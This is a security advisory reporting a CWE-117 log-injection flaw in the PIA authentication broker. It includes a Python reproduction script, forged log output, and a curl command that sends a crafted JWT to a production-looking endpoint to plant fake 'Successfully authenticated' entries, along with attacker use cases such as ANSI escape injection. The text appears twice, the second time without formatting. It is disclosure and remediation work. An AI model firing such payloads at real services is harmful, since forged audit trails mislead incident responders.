Summary
The /v1/upload/sbom endpoint extracts the iss claim from the attacker-supplied JWT with signature verification disabled, then interpolates that string into three log statements before any validation gate. Because the configured log format ("%(asctime)s - %(name)s - %(levelname)s - %(message)s") renders newlines literally, an unauthenticated attacker can forge log records that are byte-for-byte indistinguishable from PIA's genuine "Successfully authenticated project" message. PIA is an authentication broker whose logs are explicitly relied upon for incident response (DESIGN.md §5.4 lists "Token verifications" and "Errors" as events to log), so the ability to plant fake auth-success entries directly undermines the audit trail the service exists to produce.
Severity
Low
The attacker requires no credentials and no preconditions beyond network reachability of the API. Each request yields three forged lines (one of them perfectly clean) and the attacker can repeat indefinitely. However, the impact is bounded to log integrity: there is no code execution, no auth bypass, no data exfiltration. Structured-logging deployments (JSON-per-line, journald) substantially neutralise the issue. The default plaintext format in main.py:19-22 is what makes it land.
Weakness
CWE-117: Improper Output Neutralization for Logs
Location
| File |
Lines |
Status |
pia/main.py |
98 |
f"Unverified issuer extracted: {unverified_issuer}" — cleanest injection: variable terminates the f-string, so the forged line has no trailing artefact |
pia/main.py |
106–109 |
f"Checking if issuer '{unverified_issuer}' is allowed across {N} project(s)" — forged line carries a ' is allowed across N project(s) suffix |
pia/main.py |
111 |
f"Issuer {unverified_issuer} not allowed" — forged line carries a not allowed suffix |
pia/main.py |
19–22 |
logging.basicConfig(format="%(asctime)s - %(name)s - %(levelname)s - %(message)s") — the sink: plaintext, no newline escaping |
Origin
Two layers:
5ff16521 (Lukas Pühringer, 2026-01-14, "Add fully working PIA FastAPI app", PR #2) — initial implementation already contained line 111 (logger.warning(f"Issuer {unverified_issuer} not allowed")). One injection point existed from day one.
95b85da2 (Lukas Pühringer, 2026-03-24, "Add very verbose logging throughout the project", PR #32) — added lines 98 and 106–109. Tripled the injection points and, critically, added line 98 where the variable is at the end of the f-string, producing a forged line with no telltale suffix. The commit message notes: "Before moving to prod, we should reduce the amount of logging statements" — the author flagged the verbosity but not the injection.
Affected Versions
| Range |
Injection points |
Notes |
v0.1.0 – v0.2.1 (all releases) |
1 (line 111) |
git tag --contains 5ff1652 returns all three tags |
> v0.2.1 (current main, unreleased) |
3 (lines 98, 106–109, 111) |
git tag --contains 95b85da returns nothing — verbose-logging commit not yet in any release |
Methodology
- Mapped the trust boundary:
/v1/upload/sbom is the sole authenticated endpoint; the JWT in the Authorization header is the only attacker-controlled input that crosses it before authentication completes.
- Traced the JWT lifecycle:
main.py:89-93 calls jwt.decode(token, options=dict(verify_signature=False, require=["iss"])). The iss claim is the JWT payload's JSON-decoded value — a Python str that may contain any Unicode codepoint including U+000A.
- Searched for sinks consuming
unverified_issuer between extraction (line 93) and the first gate (has_issuer() at line 110). Found three logger.info/logger.warning calls.
- Confirmed the log format at main.py:19-22 is plaintext with no neutralisation.
- Wrote a reproduction (below) and ran it to confirm the forged line is format-indistinguishable from the legitimate message at main.py:137-140.
- Checked git history (
git log --all --grep="inject" --grep="sanit" --grep="CWE" -i) and git blame for prior art — none found.
Validation
Reproduction script
#!/usr/bin/env python3
"""Reproduction: CWE-117 log injection via unverified JWT `iss` claim."""
import base64, io, json, logging, jwt
# --- ATTACKER: craft JWT with newline-bearing `iss` (signature is junk) ---
INJECTED_ISSUER = (
"https://token.actions.githubusercontent.com\n"
"2026-04-13 10:00:00,000 - pia.main - INFO - "
"Successfully authenticated project victim-project "
"with issuer https://token.actions.githubusercontent.com"
)
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = {"alg": "RS256", "typ": "JWT", "kid": "anything"}
payload = {"iss": INJECTED_ISSUER}
evil_token = f"{b64(header)}.{b64(payload)}.AAAA" # garbage signature
# --- SERVER: replicate pia/main.py:19-22, 88-111 ---
buf = io.StringIO()
h = logging.StreamHandler(buf)
h.setFormatter(logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s"))
logger = logging.getLogger("pia.main"); logger.addHandler(h); logger.setLevel(logging.INFO)
token = evil_token
unverified_claims = jwt.decode(token, options=dict(verify_signature=False, require=["iss"])) # main.py:89
unverified_issuer: str = unverified_claims["iss"] # main.py:93
logger.info(f"Unverified issuer extracted: {unverified_issuer}") # main.py:98
logger.info(f"Checking if issuer '{unverified_issuer}' is allowed across 5 project(s)") # main.py:106
# has_issuer() would return False here (string mismatch), so the rejection branch fires:
logger.warning(f"Issuer {unverified_issuer} not allowed") # main.py:111
# --- INSPECT ---
h.flush()
log = buf.getvalue()
print(log)
lines = log.splitlines()
forged = [l for l in lines if "Successfully authenticated project victim-project" in l]
assert len(lines) == 6, f"3 calls -> 6 lines (got {len(lines)})"
assert len(forged) == 3, f"3 forged entries (got {len(forged)})"
print(f"\n{len(lines)} log lines from 3 calls. {len(forged)} forged auth-success entries.")
Observed output
2026-04-13 08:54:22,337 - pia.main - INFO - Unverified issuer extracted: https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com
2026-04-13 08:54:22,337 - pia.main - INFO - Checking if issuer 'https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com' is allowed across 5 project(s)
2026-04-13 08:54:22,337 - pia.main - WARNING - Issuer https://token.actions.githubusercontent.com
2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com not allowed
6 log lines from 3 calls. 3 forged auth-success entries.
Line 2 of the output is a perfect forgery. It has no trailing artefact because main.py:98 places {unverified_issuer} at the end of the f-string. An operator running grep "Successfully authenticated" pia.log would not be able to distinguish it from the genuine entry produced at main.py:137-140.
Mitigations checked and ruled out
- PyJWT type validation on
iss — require=["iss"] only checks presence, not type or content. Confirmed: PyJWT 2.7.0+ returns the raw JSON-decoded value. JSON "foo\nbar" (or "foo\u000abar") becomes Python str with literal \x0a.
- Pydantic validation —
unverified_issuer is a plain str extracted from a dict; it never passes through a Pydantic model. The HttpsUrl constraint applies only to operator-supplied Project.issuer, not to the attacker-supplied claim.
has_issuer() gate — fires after lines 98 and 106–109. Line 111 is inside the rejection branch, so it fires precisely when the malicious string fails the gate. The gate does not protect any of the three sinks.
- Logging-handler escaping —
logging.StreamHandler with logging.Formatter("%(message)s") performs no neutralisation. %(message)s is record.getMessage() which is the f-string output verbatim.
- FastAPI / Starlette request middleware — does not touch the
Authorization header value or the JWT payload.
Detail
The data flow:
HTTP request
└─ Authorization: Bearer <attacker JWT> ← attacker controls every byte
└─ main.py:83 token = authorization[7:]
└─ main.py:89 jwt.decode(token, verify_signature=False, require=["iss"])
│ ↑ no signature check, no type check, no content check
└─ main.py:93 unverified_issuer = unverified_claims["iss"]
│ ↑ str with attacker-chosen content incl. \n
├─ main.py:98 logger.info(f"...: {unverified_issuer}") ← SINK 1
├─ main.py:106 logger.info(f"...'{unverified_issuer}'...") ← SINK 2
├─ main.py:110 has_issuer(unverified_issuer) → False
└─ main.py:111 logger.warning(f"...{unverified_issuer}...") ← SINK 3
└─ main.py:112 _401() ← request ends with HTTP 401
The has_issuer() check at line 110 performs exact string equality (models.py:46: return issuer == str(self.issuer)). The malicious iss containing \n will never equal a configured HttpsUrl-validated issuer, so the request always terminates at line 112 with HTTP 401 — but not before all three log writes have already executed.
Exploitation
# Build the JWT (header.payload.junksig — signature unchecked at injection point)
HDR=$(printf '{"alg":"RS256","typ":"JWT","kid":"x"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAY=$(printf '{"iss":"https://token.actions.githubusercontent.com\\n2026-04-13 10:00:00,000 - pia.main - INFO - Successfully authenticated project victim-project with issuer https://token.actions.githubusercontent.com"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOKEN="${HDR}.${PAY}.AAAA"
curl -X POST https://pia.eclipse.org/v1/upload/sbom \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"product_name":"x","product_version":"x","bom":"x"}'
# → HTTP 401 {"detail":"Issuer not allowed"}
# → Server log gains 3 forged "Successfully authenticated" entries
The attacker observes only the 401, but the log damage is done. Repeatable at the rate-limit of the reverse proxy (DESIGN.md §8.1 mentions one but does not specify limits).
Use cases an attacker might pursue:
- Bury a real failed-auth attempt in noise: send 1000 requests with forged success entries before/after the real attempt.
- Plant a false trail implicating a different Eclipse project during an SBOM-poisoning incident.
- Inject ANSI escape sequences (
\x1b[2J, \x1b[H) to clear or scramble a terminal viewing the log — works on the same path, just substitute the payload.
Fix
Validate the unverified iss against a strict URL pattern (or simply against the configured issuer set) before it touches any log statement — move the has_issuer() gate above line 98, and on rejection log a fixed string rather than the attacker-supplied value. Alternatively, neutralise control characters: unverified_issuer.replace('\n', '\\n').replace('\r', '\\r') or repr(unverified_issuer) before interpolation. The same treatment should be applied to payload.product_name / payload.product_version at line 145–148, which are also attacker-controlled but only reachable post-authentication.
Confidence
Certain: the code path executes as described — the reproduction script runs the exact lines from pia/main.py against the project's pinned PyJWT and produces forged log records. No mocking; this is the actual decode → log flow.
Deployment-dependent: the visibility of the forgery depends on log handling.
- Vulnerable as-shipped: main.py:19-22 hard-codes a plaintext format. The Dockerfile does not override it. A
docker run deployment writing to stdout → file is exposed.
- Mitigated by: structured-logging shippers that wrap each
logging record in JSON (e.g. python-json-logger, fluentd with JSON parser), or journald with SyslogIdentifier per record. These store the multi-line message as a single field; the newline does not start a new record.
- Partially mitigated by: SIEMs that flag timestamp regression (the forged timestamp
10:00:00 precedes/follows the surrounding genuine entries) — but the attacker can pick a plausible timestamp.
The attacker position required is "can send HTTPS requests to PIA." DESIGN.md §8.1 deploys PIA behind a reverse proxy with TLS termination but does not describe IP allowlisting; the documented clients are GitHub Actions runners and Jenkins instances, both of which originate from broad public IP ranges, so the endpoint is presumably internet-reachable.
Summary
The
/v1/upload/sbomendpoint extracts theissclaim from the attacker-supplied JWT with signature verification disabled, then interpolates that string into three log statements before any validation gate. Because the configured log format ("%(asctime)s - %(name)s - %(levelname)s - %(message)s") renders newlines literally, an unauthenticated attacker can forge log records that are byte-for-byte indistinguishable from PIA's genuine "Successfully authenticated project" message. PIA is an authentication broker whose logs are explicitly relied upon for incident response (DESIGN.md §5.4 lists "Token verifications" and "Errors" as events to log), so the ability to plant fake auth-success entries directly undermines the audit trail the service exists to produce.Severity
Low
The attacker requires no credentials and no preconditions beyond network reachability of the API. Each request yields three forged lines (one of them perfectly clean) and the attacker can repeat indefinitely. However, the impact is bounded to log integrity: there is no code execution, no auth bypass, no data exfiltration. Structured-logging deployments (JSON-per-line, journald) substantially neutralise the issue. The default plaintext format in main.py:19-22 is what makes it land.
Weakness
CWE-117: Improper Output Neutralization for Logs
Location
pia/main.pyf"Unverified issuer extracted: {unverified_issuer}"— cleanest injection: variable terminates the f-string, so the forged line has no trailing artefactpia/main.pyf"Checking if issuer '{unverified_issuer}' is allowed across {N} project(s)"— forged line carries a' is allowed across N project(s)suffixpia/main.pyf"Issuer {unverified_issuer} not allowed"— forged line carries anot allowedsuffixpia/main.pylogging.basicConfig(format="%(asctime)s - %(name)s - %(levelname)s - %(message)s")— the sink: plaintext, no newline escapingOrigin
Two layers:
5ff16521(Lukas Pühringer, 2026-01-14, "Add fully working PIA FastAPI app", PR #2) — initial implementation already contained line 111 (logger.warning(f"Issuer {unverified_issuer} not allowed")). One injection point existed from day one.95b85da2(Lukas Pühringer, 2026-03-24, "Add very verbose logging throughout the project", PR #32) — added lines 98 and 106–109. Tripled the injection points and, critically, added line 98 where the variable is at the end of the f-string, producing a forged line with no telltale suffix. The commit message notes: "Before moving to prod, we should reduce the amount of logging statements" — the author flagged the verbosity but not the injection.Affected Versions
v0.1.0–v0.2.1(all releases)git tag --contains 5ff1652returns all three tags> v0.2.1(currentmain, unreleased)git tag --contains 95b85dareturns nothing — verbose-logging commit not yet in any releaseMethodology
/v1/upload/sbomis the sole authenticated endpoint; the JWT in theAuthorizationheader is the only attacker-controlled input that crosses it before authentication completes.main.py:89-93callsjwt.decode(token, options=dict(verify_signature=False, require=["iss"])). Theissclaim is the JWT payload's JSON-decoded value — a Pythonstrthat may contain any Unicode codepoint including U+000A.unverified_issuerbetween extraction (line 93) and the first gate (has_issuer()at line 110). Found threelogger.info/logger.warningcalls.git log --all --grep="inject" --grep="sanit" --grep="CWE" -i) andgit blamefor prior art — none found.Validation
Reproduction script
Observed output
Line 2 of the output is a perfect forgery. It has no trailing artefact because main.py:98 places
{unverified_issuer}at the end of the f-string. An operator runninggrep "Successfully authenticated" pia.logwould not be able to distinguish it from the genuine entry produced at main.py:137-140.Mitigations checked and ruled out
iss—require=["iss"]only checks presence, not type or content. Confirmed: PyJWT 2.7.0+ returns the raw JSON-decoded value. JSON"foo\nbar"(or"foo\u000abar") becomes Pythonstrwith literal\x0a.unverified_issueris a plainstrextracted from adict; it never passes through a Pydantic model. TheHttpsUrlconstraint applies only to operator-suppliedProject.issuer, not to the attacker-supplied claim.has_issuer()gate — fires after lines 98 and 106–109. Line 111 is inside the rejection branch, so it fires precisely when the malicious string fails the gate. The gate does not protect any of the three sinks.logging.StreamHandlerwithlogging.Formatter("%(message)s")performs no neutralisation.%(message)sisrecord.getMessage()which is the f-string output verbatim.Authorizationheader value or the JWT payload.Detail
The data flow:
The
has_issuer()check at line 110 performs exact string equality (models.py:46:return issuer == str(self.issuer)). The maliciousisscontaining\nwill never equal a configuredHttpsUrl-validated issuer, so the request always terminates at line 112 with HTTP 401 — but not before all three log writes have already executed.Exploitation
The attacker observes only the 401, but the log damage is done. Repeatable at the rate-limit of the reverse proxy (DESIGN.md §8.1 mentions one but does not specify limits).
Use cases an attacker might pursue:
\x1b[2J,\x1b[H) to clear or scramble a terminal viewing the log — works on the same path, just substitute the payload.Fix
Validate the unverified
issagainst a strict URL pattern (or simply against the configured issuer set) before it touches any log statement — move thehas_issuer()gate above line 98, and on rejection log a fixed string rather than the attacker-supplied value. Alternatively, neutralise control characters:unverified_issuer.replace('\n', '\\n').replace('\r', '\\r')orrepr(unverified_issuer)before interpolation. The same treatment should be applied topayload.product_name/payload.product_versionat line 145–148, which are also attacker-controlled but only reachable post-authentication.Confidence
Certain: the code path executes as described — the reproduction script runs the exact lines from
pia/main.pyagainst the project's pinned PyJWT and produces forged log records. No mocking; this is the actual decode → log flow.Deployment-dependent: the visibility of the forgery depends on log handling.
docker rundeployment writing to stdout → file is exposed.loggingrecord in JSON (e.g.python-json-logger, fluentd with JSON parser), or journald withSyslogIdentifierper record. These store the multi-line message as a single field; the newline does not start a new record.10:00:00precedes/follows the surrounding genuine entries) — but the attacker can pick a plausible timestamp.The attacker position required is "can send HTTPS requests to PIA." DESIGN.md §8.1 deploys PIA behind a reverse proxy with TLS termination but does not describe IP allowlisting; the documented clients are GitHub Actions runners and Jenkins instances, both of which originate from broad public IP ranges, so the endpoint is presumably internet-reachable.